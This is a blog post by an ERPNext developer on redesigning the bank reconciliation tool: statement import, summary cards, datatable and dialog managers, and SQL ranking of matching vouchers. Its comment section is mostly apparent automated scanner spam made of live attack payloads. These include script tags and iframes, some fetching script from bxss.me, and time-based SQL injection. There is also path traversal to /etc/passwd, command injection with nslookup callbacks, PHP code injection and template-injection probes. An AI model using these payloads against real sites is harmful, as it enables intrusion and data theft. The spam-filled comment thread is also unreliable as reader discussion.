Redesigning Bank Reconciliation

Let me walk you through my journey of redesigning the Bank Reconciliation tool of ERPNext

 · 9 min read

blog header

Imagine if programming languages didn't exist and developers had to write in assembly language (machine code) all the time. That's roughly how end-users feel when they have to work with bad UX. Doesn't matter how optimized the internal working is, a bad UX makes using the product unpleasant and difficult. Bank Reconciliation in ERPNext was one such feature. In this blog, I share my experience in redesigning it and how the UX is better than before.

What is bank reconciliation?

Bank Reconciliation involves matching the balance shown by the ERP and the balance shown by the bank statement either by creating a new voucher if it does not exist in the system but exists in the bank statement or by updating its clearance date according to the bank statement.

UX issues

Before making it better, we need to understand the UX shortcomings in the previous bank reconciliation interface.

  1. The bank statement upload activity was not run by a background job. If the upload is long the request would time out.
  2. The mapping between the bank statement fields and the Bank Transaction DocType had to be added in the Bank DocType. There was no way the user would know this unless he reads the documentation line by line.
  3. The filters that controlled the bank transactions displayed were not constant. Every time the user selected a value in a filter, another set of filters would show up.
  4. The suggestions were given by the system for manual vouchers matching just included names. This means that the user would have to go to the list of the doctype, open the voucher and verify if it is the correct voucher.

At Frappe, we understand the importance of UI/UX so we had to redesign the bank reconciliation tool.

The initial plan

This was my second project after the UAE VAT 201 Report. During the developer monthly planning meeting when I was given this project. I wondered “How long can a redesign project take? 2 weeks? Let me ask for some other work too.” But I was not assigned anything else since the experienced developers expected this to be a long project. I accepted reluctantly.

I started going through our older implementation and talking with mentors to understand what is expected from this project. This is the list we came up with after 2 hrs of brainstorming.

initital plan

The project was divided into two parts—the bank statement import and bank reconciliation.

Bank statement import

We already have a Data Import Module. So reusing the backend looked like a good idea. We decided that adding an Import Bank statement button on the bank reconciliation page sounded right. I went ahead and ported the entire module to work on a dialog instead of a doctype (this involved reading through all the JS and overriding each method that was directly using a form or page instance). Later, during one of the reviews, we discovered that maintaining so many custom assets would be a difficult task so I ported it to work as a doctype. I was reluctant to this but when I was porting this feature to our latest rebranding I realized the importance of standardization.

Even though Data Import helped a lot, some extra features were added.

  1. While importing each bank transaction from the Bank Statement Bank Account field has to be added in each row, this was done by hooking to the functionality of data import.
  2. We do not want the user to write the mapping between bank statement header and bank transaction fields each time, so we save the mapping in the bank doctype on import, this mapping is then pulled back depending on the bank linked to the bank account.
  3. Rebranding broke some components of the Base Data Import, so I fixed it while porting Bank Statement Import.

These were the outcomes:

  1. The process has been streamlined a lot.
  2. The UI is very similar to Data Import so it becomes intuitive.
  3. Each Bank statement imported has a record in the Bank Statement Import Doctype Listview and the imported bank transactions are linked.
  4. Bank Statement Import does not look like a report anymore :).

This is how it looks now:

New design

Bank reconciliation screen

This complete screen involved lots of moving parts, each moving part is complex and demands its section. Don’t worry, I will keep it short and crisp by mentioning only important details :)

Since most of the major issues involved bad UX it made sense to make sure that the frontend is designed with caution. At the same time, it is necessary to use as many standard controls as possible so that it does not become a headache to match each style. Initially, it was a page so I used a field group to use standard controls. But why would you use a page if you are using standard controls? So I quickly converted it to a single doctype and used the standard form actions to control states.

Bank Reconciliation Screen

The entire form above can be divided into four components. So I created a separate manager class for each component. There is no inheritance involved but basic composition. Using composition instead of inheritance provides more freedom to how the components interact. The bank reconciliation tool form has references to the summary card manager and the DataTable manager. The summary card manager has references to all three summary cards. The data table manager has reference to a dialog manager which drives the creation and matching process of vouchers corresponding to the listed bank transactions. Let’s see a bit of each.

1. The basic inputs

Here the required data from the Bank Statement needs to be precisely copied. After saving the form the tool is created. You may get a quick view of how it looks here.

basic inputs

2. Summary cards

The user must be notified of the success state. On success, the difference becomes zero, and the color changes to green. The Frappe Chart library provides CSS classes to create these cards. But we need to dynamically manipulate the numbers. So I wrote a wrapper class[1] for Frappe number cards to manipulate the attributes such as numbers and colors. But these cards need to be managed as a whole so a class to maintain these properties was also written. This is how the summary cards look when the balances are not yet matching

summary cards

3. Data table manager

Initially, we decided to use Frappe Base List for listing the bank transactions but it did not look feasible because:

  1. The List does not look good when placed inside a component especially since the filters do not go well with other components.
  2. The Base List is tightly integrated with the List View. A lot of methods need to be overridden to make it work directly with page.

So we decided to use Frappe Datatable—A DataTable manager class [2] that encapsulates all the required methods that were implemented. This class manages and manipulates the data that is to be displayed in the data table. A hash table is used to quickly refer to a row displayed in the DataTable. This was done so that the entire DataTable is not searched when a single transaction is updated or removed (If a bank transaction has 0 unallocated amount it is removed from the DataTable) to reflect it in the displayed DataTable. You may get a sense of how it looks in the following Image:

datatable

4. Reconciliation dialog manager

According to our initial goal of making sure that the user does not need to switch screens, we made sure to implement all the functionality into the Dialog that pops up when you click on the actions button. The dialog allows you to edit the bank transaction, match it to an existing voucher in ERPNext or create a new voucher using the details from the Bank Transaction. We also allow editing the voucher on a full-page. It helps if you have a lot of custom fields.

The filters allow selecting a specific voucher type to match to make sure no extra data is returned from the backend. Multiple vouchers can be matched against a single bank transaction by using the checkboxes The Reconciliation Dialog Manager handles all this functionality. [3]

If you are wondering how did we match and rank the vouchers that are to be displayed in the matching you can head over to the next section. The dialog looks a bit heavy but as you can see in the following image it covers almost all the use cases in a single view.

dialog manager

As I initially mentioned there are lots of minute details or optimizations that work towards the complete UX which are not mentioned here. You can always try out the software to get the full experience.

5. Finding the correct matches to Bank Transactions

So the challenge that I want to discuss here is to get the list of vouchers matching a specific bank transaction and then rank them according to the number fields matched. We are considering 5 doctypes (Payment Entry, Journal Entry, Sales Invoice, Purchase Invoice, and Expense Claim)

Broadly speaking, we had to achieve the following actions:

  1. Retrieve rows from each of the 5 doctypes that have matching fields like posting date, amount, reference number, etc
  2. Create a new field that counts the number of matching fields from each row. Name it ‘rank’.
  3. Merge the rows from each doctype
  4. Sort the merged rows according to rank

I implemented it in two ways, will discuss both of them and why I chose one of these.

5.1. The UNION ALL method

Although I did not use this method in the final cut you can see the implementation in one of my previous commits. [4]

The code is self-explanatory. I will go through some important details:

  1. The innermost SQL queries would match a specific field of the bank transaction to the corresponding field of the voucher.
  2. The results of all such vouchers matched with one field at a time need to be unioned (We use union all to retain duplicates. Why? Check the next point).
  3. Now comes the interesting part. Since we retained duplicates, if we count the number of duplicates we will get the count of how many times each voucher was matched. But why do we need that? We had matched only one field at a time, so if a voucher had three matching fields it would repeat three times. Since we are grouping by voucher name and counting the duplicates we will get the number of fields of each voucher matched in the rank column.
  4. Since we have the rank, all we need to do is sort descending by rank. Standard Order By is used to achieve it.

This method although lets the database optimize the query as much as possible has a big issue. When you use UNION ALL with an aggregate function, the output of each subquery is written to the disk. Since disk access is slower than RAM access, the benefit that I was assuming with letting the database do sorting would not matter. Moreover, we do not want so many temp files to be created each time we want to get the matching vouchers. [5]

5.2. The CASE WHEN Method

Although most of the previous method was right I had to get rid of the UNION ALL but to let the database optimize.

  1. A query per doctype.
  2. Count the number of matching fields in a row by using CASE WHEN. [6]
  3. Sorting can be done based on the rank field.

Conclusion

In the end, the project took two months of development and was rigorously reviewed and tested for another two months. This project took my JS skills to another level and gave me a realization that learning SQL never ends. This has been my biggest contribution to opensource which involved adding around 3K lines and deleting 5K lines.

Special thanks to Saqib for mentoring me throughout. I cannot end the blog without thanking Prasad for helping me make this blog more appealing.

Here we are at the end, Hope you learned something new today. There are more details that are not included in this blog but you can head over to the PR to know more.

References

  1. Summary card manager class
  2. Datatable manager class
  3. Reconciliation dialog manager class
  4. The UNION ALL method for finding matching vouchers
  5. Union All worklog
  6. Example of using Case When to get the rank

Mohammad Hasnain Rajan

Software Engineer at Frappe

Add a comment
Ctrl+Enter to add comment

S
1 1 year ago

1

S
1 1 year ago

1

S
1<UlYxxS< 1 year ago

1

S
1<img sRc='http://attacker-9949/log.php? 1 year ago

1

S
1 year ago

1

S
1 1 year ago

Comment

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

S
1 1 year ago

1<ScRiPt>xWP5(9635)</sCripT>

S
1 1 year ago

1\u003CScRiPt\xWP5(9821)\u003C/sCripT\u003E

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9410'>

S
1 1 year ago

1<isindex type=image src=1 onerror=xWP5(9357)>

S
1&lt;iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9807'&gt; 1 year ago

1

S
1 1 year ago

1

S
1&lt;isindex type=image src=1 onerror=9tAt(9504)&gt; 1 year ago

1

S
1 1 year ago

1<ScRiPt >xWP5(9406)

S
1 1 year ago

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9501></ScRiPt>

S
1 1 year ago

1<ScRiPt >xWP5(9233)</ScRiPt>

S
1 1 year ago

1<ScR<ScRiPt>IpT>xWP5(9625)</sCr<ScRiPt>IpT>

S
1&lt;script&gt;9tAt(9574)&lt;/script&gt; 1 year ago

1

S
1 1 year ago

1<script>xWP5(9001)</script>

S
1&lt;WV0GHS&gt;VFWQH[!+!]&lt;/WV0GHS&gt; 1 year ago

1

S
1 1 year ago

1<WRPZIH>FXQLE[!+!]</WRPZIH>

S
1&lt;ScRiPt &gt;9tAt(9410)&lt;/ScRiPt&gt; 1 year ago

1

S
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 1 year ago

1

S
<th:t="${acx}#foreach 1 year ago

1

S
1 1 year ago

Comment

S
acu9146<s1﹥s2ʺs3ʹuca9146 1 year ago

1

S
1 1 year ago

acux4554��z1��z2a�bcxuca4554

S
1 1 year ago

acu2536<s1﹥s2ʺs3ʹuca2536

S
19848955 1 year ago

1

S&
1 1 year ago

1

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;9tAt(9737)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

19885975

S
1'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;9tAt(9561)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

'"()&%<acx><ScRiPt >xWP5(9228)</ScRiPt>

S
1 1 year ago

1'"()&%<acx><ScRiPt >xWP5(9048)</ScRiPt>

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

TO
1 1 year ago

1

QO
1 1 year ago

1

GO
1 1 year ago

1

JW
1 1 year ago

1

0
1 1 year ago

1

S
1'" 1 year ago

1

S
QI8cBssn')) OR 410=(SELECT 410 FROM PG_SLEEP(15))-- 1 year ago

1

S
ltADxXdc') OR 519=(SELECT 519 FROM PG_SLEEP(15))-- 1 year ago

1

S
7JRtVRgK' OR 177=(SELECT 177 FROM PG_SLEEP(15))-- 1 year ago

1

S
-5 OR 520=(SELECT 520 FROM PG_SLEEP(15))-- 1 year ago

1

S
ParNlrVQ'; waitfor delay '0:0:15' -- 1 year ago

1

S
-1); waitfor delay '0:0:15' -- 1 year ago

1

S
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 1 year ago

1

S
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 1 year ago

1

S
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 1 year ago

1

S
if(now()=sysdate(),sleep(15),0) 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

@@JDSIr

S
1 1 year ago

1����%2527%2522

S
1 1 year ago

1'"

S
1 1 year ago

1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

S
1 1 year ago

1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)

S
1 1 year ago

ao1HNtc2')) OR 818=(SELECT 818 FROM PG_SLEEP(15))--

S
1 1 year ago

82iBRVNe') OR 581=(SELECT 581 FROM PG_SLEEP(15))--

S
1 1 year ago

-1)) OR 277=(SELECT 277 FROM PG_SLEEP(15))--

S
1 1 year ago

-5 OR 500=(SELECT 500 FROM PG_SLEEP(15))--

S
1 1 year ago

AkJUaKSk'; waitfor delay '0:0:15' --

S
1 1 year ago

1 waitfor delay '0:0:15' --

S
1 1 year ago

-1; waitfor delay '0:0:15' --

S
1 1 year ago

1

S
1 1 year ago

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

"
1 1 year ago

1

A
1 1 year ago

1

A
1 1 year ago

1

A
1 1 year ago

1

1
1 1 year ago

1

A
1 1 year ago

1

A
1 1 year ago

1

S
1 1 year ago

-1' OR 2+993-993-1=0+0+0+1 --

1
1 1 year ago

1

S
1 1 year ago

-1 OR 3+478-478-1=0+0+0+1

<
1 1 year ago

1

S
1 1 year ago

-1 OR 2+478-478-1=0+0+0+1

?
1 1 year ago

1

S
1 1 year ago

-1 OR 3*2>(0+5+958-958) --

S
1 1 year ago

1

S
1 1 year ago

-1 OR 3*2<(0+5+958-958) --

'&
1 1 year ago

1

S
1 1 year ago

-1 OR 3+958-958-1=0+0+0+1 --

S&
1 1 year ago

1

S
1 1 year ago

vFePbcgf

S
acx[[${98991*97996}]]xca 1 year ago

1

S
acx{{98991*97996}}xca 1 year ago

1

S
1}}"}}'}}1%>"%>'%> 1 year ago

1

S
<th:t="${acx}#foreach 1 year ago

1

S
1 year ago

1

S
1 1 year ago

1

S
19333209 1 year ago

1

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;HRdd(9175)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

^(#$!@#$)(()))**

S
1 1 year ago

!(()&&!|||

S
1 1 year ago

bxss.me

S
1 1 year ago

)

S
1 1 year ago

1

S
1 1 year ago

1someinexistentfilewithlong_name.jpg

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

.
1 1 year ago

1

S
1 1 year ago

1

.
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

echo ypipdv$()\ okacvi\nz^xyu||a #' &echo ypipdv$()\ okacvi\nz^xyu||a #|" &echo ypipdv$()\ okacvi\nz^xyu||a #

S
1 1 year ago

1

S
1 1 year ago

../1

"
1 1 year ago

1

S
1 1 year ago

1

'
1 1 year ago

1

S
1 1 year ago

../../../../../../../../../../../../../../windows/win.ini

R
1 1 year ago

1

S
1 1 year ago

../../../../../../../../../../../../../../etc/passwd

S
"+response.write(9987448*9229452)+" 1 year ago

1

G
1 1 year ago

1

S
'+response.write(9987448*9229452)+' 1 year ago

1

S
12345'"\'\");|]*{ �''? 1 year ago

1

S
1 1 year ago

1

S
response.write(9987448*9229452) 1 year ago

1

S
1 year ago

1

SS
1 1 year ago

1

S
1 1 year ago

"+response.write(9158417*9804510)+"

S
1 1 year ago

1

S
1 1 year ago

12345'"\'\");|]*{ <>�''?

S
1&lt;esi:include src="http://bxss.me/rpb.png"/&gt; 1 year ago

1

S
1 1 year ago

'+response.write(9158417*9804510)+'

S
1 1 year ago

response.write(9158417*9804510)

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1<bXwg59 x=9091>

S
1 1 year ago

1

S
1 1 year ago

1<% contenteditable onresize=UFF0(9640)>

S
1}body{acu:Expre/**/SSion(httY(9049))} 1 year ago

1

S
1 1 year ago

1}body{acu:Expre/**/SSion(UFF0(9698))}

S
1 year ago

1

S
1 1 year ago

Comment

S
1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

S
1 1 year ago

1<ScRiPt>UFF0(9318)</sCripT>

S
1&lt;ScRiPt&gt;httY(9171)&lt;/sCripT&gt; 1 year ago

1

S
1 1 year ago

1\u003CScRiPt\UFF0(9793)\u003C/sCripT\u003E

S
1\u003CScRiPt\httY(9109)\u003C/sCripT\u003E 1 year ago

1

S
1 1 year ago

%31%3C%53%63%52%69%50%74%20%3E%55%46%46%30%289289%29%3C%2F%73%43%72%69%70%54%3E

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9044'>

S
1 1 year ago

1

S
1&lt;iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9551'&gt; 1 year ago

1

"
1 1 year ago

1

S
1 1 year ago

1<isindex type=image src=1 onerror=UFF0(9340)>

S
1&lt;isindex type=image src=1 onerror=httY(9039)&gt; 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1<ScRiPt >UFF0(9146)

S
1httY(9097) 1 year ago

1

S
1 1 year ago

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9768></ScRiPt>

S
1&lt;ScRiPt/acu src=//xss.bxss.me/t/xss.js?9014&gt;&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1<ScRiPt >UFF0(9119)</ScRiPt>

S
1&lt;ScRiPt &gt;httY(9974)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1<ScR<ScRiPt>IpT>UFF0(9877)</sCr<ScRiPt>IpT>

<
1 1 year ago

1

S
1&lt;ScR&lt;ScRiPt&gt;IpT&gt;httY(9929)&lt;/sCr&lt;ScRiPt&gt;IpT&gt; 1 year ago

1

S
1 1 year ago

1<script>UFF0(9671)</script>

?
1 1 year ago

1

S
1&lt;script&gt;httY(9235)&lt;/script&gt; 1 year ago

1

S
1 1 year ago

1<WYNK6S>0YUFN[!+!]</WYNK6S>

A
1 1 year ago

1

S
1&lt;W8TYW9&gt;HCLWZ[!+!]&lt;/W8TYW9&gt; 1 year ago

1

A
1 1 year ago

1

S
1&lt;ScRiPt &gt;httY(9819)&lt;/ScRiPt&gt; 1 year ago

1

"
1 1 year ago

1

S
1 1 year ago

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

S
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 1 year ago

1

S
1 1 year ago

acx${98991*97996}::.x

S
acx__${98991*97996}__::.x 1 year ago

1

S
acx[[${98991*97996}]]xca 1 year ago

1

S
acx{{98991*97996}}xca 1 year ago

1

S
1 1 year ago

acx{{98991*97996}}xca

1
1 1 year ago

1

S
1}}"}}'}}1%>"%>'%> 1 year ago

1

S
1 1 year ago

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

<
1 1 year ago

1

S
<th:t="${acx}#foreach 1 year ago

1

S
1 1 year ago

Comment

?
1 1 year ago

1

S
1 year ago

1

S
1 1 year ago

<%={{={@{#{${acx}}%>

A
1 1 year ago

1

S
acux2785��z1��z2a�bcxuca2785 1 year ago

1

S
1 1 year ago

acux3959��z1��z2a�bcxuca3959

A
1 1 year ago

1

S
acu2289<s1﹥s2ʺs3ʹuca2289 1 year ago

1

S
1 1 year ago

acu7194<s1﹥s2ʺs3ʹuca7194

S
19445823 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

19083846

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;httY(9340)&lt;/ScRiPt&gt; 1 year ago

1

'&
1 1 year ago

1

S
1 1 year ago

'"()&%<acx><ScRiPt >UFF0(9721)</ScRiPt>

S
1'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;httY(9392)&lt;/ScRiPt&gt; 1 year ago

1

S&
1 1 year ago

1

S
1 1 year ago

1'"()&%<acx><ScRiPt >UFF0(9193)</ScRiPt>

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

(
1 1 year ago

1

0
1 1 year ago

1

-O
1 1 year ago

1

-O
1 1 year ago

1

-O
1 1 year ago

1

-O
1 1 year ago

1

-O
1 1 year ago

1

S
1 1 year ago

1

S
@@g9YqC 1 year ago

1

S
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 1 year ago

1

S
WaBsgXHY')) OR 293=(SELECT 293 FROM PG_SLEEP(15))-- 1 year ago

1

S
441Uc1uq') OR 386=(SELECT 386 FROM PG_SLEEP(15))-- 1 year ago

1

S
1Qz8f45T' OR 982=(SELECT 982 FROM PG_SLEEP(15))-- 1 year ago

1

S
-1)) OR 276=(SELECT 276 FROM PG_SLEEP(15))-- 1 year ago

1

S
-5) OR 724=(SELECT 724 FROM PG_SLEEP(15))-- 1 year ago

1

S
-5 OR 483=(SELECT 483 FROM PG_SLEEP(15))-- 1 year ago

1

S
1 waitfor delay '0:0:15' -- 1 year ago

1

S
-1); waitfor delay '0:0:15' -- 1 year ago

1

S
-1; waitfor delay '0:0:15' -- 1 year ago

1

S
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 1 year ago

1

S
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 1 year ago

1

S
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 1 year ago

1

S
if(now()=sysdate(),sleep(15),0) 1 year ago

1

S
-1" OR 3+673-673-1=0+0+0+1 -- 1 year ago

1

S
-1" OR 2+673-673-1=0+0+0+1 -- 1 year ago

1

S
-1' OR 3+865-865-1=0+0+0+1 or 'kOm8H4HT'=' 1 year ago

1

S
-1' OR 2+865-865-1=0+0+0+1 or 'kOm8H4HT'=' 1 year ago

1

S
-1' OR 3+912-912-1=0+0+0+1 -- 1 year ago

1

S
-1' OR 2+912-912-1=0+0+0+1 -- 1 year ago

1

S
-1 OR 3+923-923-1=0+0+0+1 1 year ago

1

S
-1 OR 2+923-923-1=0+0+0+1 1 year ago

1

S
-1 OR 3*2<(0+5+842-842) -- 1 year ago

1

S
-1 OR 2+842-842-1=0+0+0+1 -- 1 year ago

1

S
n9uJxIbZ 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

S
1 1 year ago

1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)

S
1 1 year ago

PVWT0eBu')) OR 59=(SELECT 59 FROM PG_SLEEP(15))--

S
1 1 year ago

LmEmDHCG') OR 810=(SELECT 810 FROM PG_SLEEP(15))--

S
1 1 year ago

1

S
1 1 year ago

1<HRSOxl x=9191>

S
1 1 year ago

1<ifRAme sRc=9928.com></IfRamE>

A
1 1 year ago

1

A
1 1 year ago

1

A
1 1 year ago

1

S
1 1 year ago

1

'&
1 1 year ago

1

S&
1 1 year ago

1

S
1 1 year ago

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

S
1 1 year ago

Comment

S
1 1 year ago

<%={{={@{#{${acx}}%>

S
1 1 year ago

acux7573��z1��z2a�bcxuca7573

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;zR3H(9916)&lt;/ScRiPt&gt; 1 year ago

1

S
1'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;zR3H(9567)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

acu9659<s1﹥s2ʺs3ʹuca9659

S
1 1 year ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

S
1 1 year ago

19662225

S
1 1 year ago

1'"()&%<acx><ScRiPt >1UQY(9438)</ScRiPt>

S
1 1 year ago

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

S
1 1 year ago

if(now()=sysdate(),sleep(15),0)

S
1 1 year ago

1 RLIKE (SELECT (CASE WHEN (687=687) THEN 1 ELSE 0x28 END)) --

S
1 1 year ago

-1 OR 3+144-144-1=0+0+0+1

S
1 1 year ago

-1 OR 2+144-144-1=0+0+0+1

S
1 1 year ago

1*1

S
1 1 year ago

9u0QS3Pv

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

/xfs.bxss.me

S
1 1 year ago

${@print(md5(31337))}\

S
1 1 year ago

${@print(md5(31337))}

S
1 1 year ago

";print(md5(31337));$a="

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

';print(md5(31337));$a='

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

S
1 1 year ago

1

S
!(()&&!|*|*| 1 year ago

1

S
) 1 year ago

1

S
1 1 year ago

^(#$!@#$)(()))**

S
1 1 year ago

!(()&&!|||

S
1 1 year ago

)

S
1 1 year ago

$(nslookup hityiduxmftcbac626.bxss.me||perl -e "gethostbyname('hityiduxmftcbac626.bxss.me')")

S
1 1 year ago

(nslookup hitutyidabtxl141d5.bxss.me||perl -e "gethostbyname('hitutyidabtxl141d5.bxss.me')")

S
1 1 year ago

|echo zdxomd$()\ qmevvw\nz^xyu||a #' |echo zdxomd$()\ qmevvw\nz^xyu||a #|" |echo zdxomd$()\ qmevvw\nz^xyu||a #

S
1 1 year ago

1

S
1 1 year ago

&echo xtzbtl$()\ nvvsdj\nz^xyu||a #' &echo xtzbtl$()\ nvvsdj\nz^xyu||a #|" &echo xtzbtl$()\ nvvsdj\nz^xyu||a #

"
1 1 year ago

1

S
1 1 year ago

echo tbxgfd$()\ midwey\nz^xyu||a #' &echo tbxgfd$()\ midwey\nz^xyu||a #|" &echo tbxgfd$()\ midwey\nz^xyu||a #

S
1 1 year ago

1

'
1 1 year ago

1

S
1 1 year ago

../1

$
1 1 year ago

1

R
1 1 year ago

1

S
1 1 year ago

1

S
${9999268+9999695} 1 year ago

1

S
"+response.write(9215948*9367196)+" 1 year ago

1

G
1 1 year ago

1

S
1 1 year ago

../../../../../../../../../../../../../../windows/win.ini

S
1 1 year ago

${9999195+9999408}

S
'+response.write(9215948*9367196)+' 1 year ago

1

S
12345'"\'\");|]*{ �''? 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

../../../../../../../../../../../../../../etc/passwd

S
response.write(9215948*9367196) 1 year ago

1

S
1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

"+response.write(9987932*9297786)+"

S
1 1 year ago

12345'"\'\");|]*{ <>�''?

SS
1 1 year ago

1

S
1 1 year ago

'+response.write(9987932*9297786)+'

S
1&lt;esi:include src="http://bxss.me/rpb.png"/&gt; 1 year ago

1

S
1 1 year ago

response.write(9987932*9297786)

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

1
1 1 year ago

1

S
1PfpqS6gO 1 year ago

1

S
1 1 year ago

1hx46X7nO

S
1 1 year ago

1

B
Ben Healy 2 years ago

Bank rec is still very clunky. Good work on a major update, but still a fair way to go. Eg. References do not work smoothly.

S
salim 3 years ago

Maybe a small video on how to setup and run this feature to end would help. This is a much needed feature for 90% of business, and must be simple. If you wish to look at the feature built in dynamics nav let me know, simple as it comes.

AD
Adam Dee 3 years ago

Hello Mohammad

This is a very welcome development indeed. However, I think it needs further testing to improve practical usability in a busy live environment. Just trying to work on a 16 line bank statement has given me so much headache. I think we need to refine it a bit more in v13.4.1.

I don't mean to sound too critical but these are my findings. I would also like to thank you very much for taking Bank Rec from something impossible to use to something usable and simpler even though it is not too easy to use.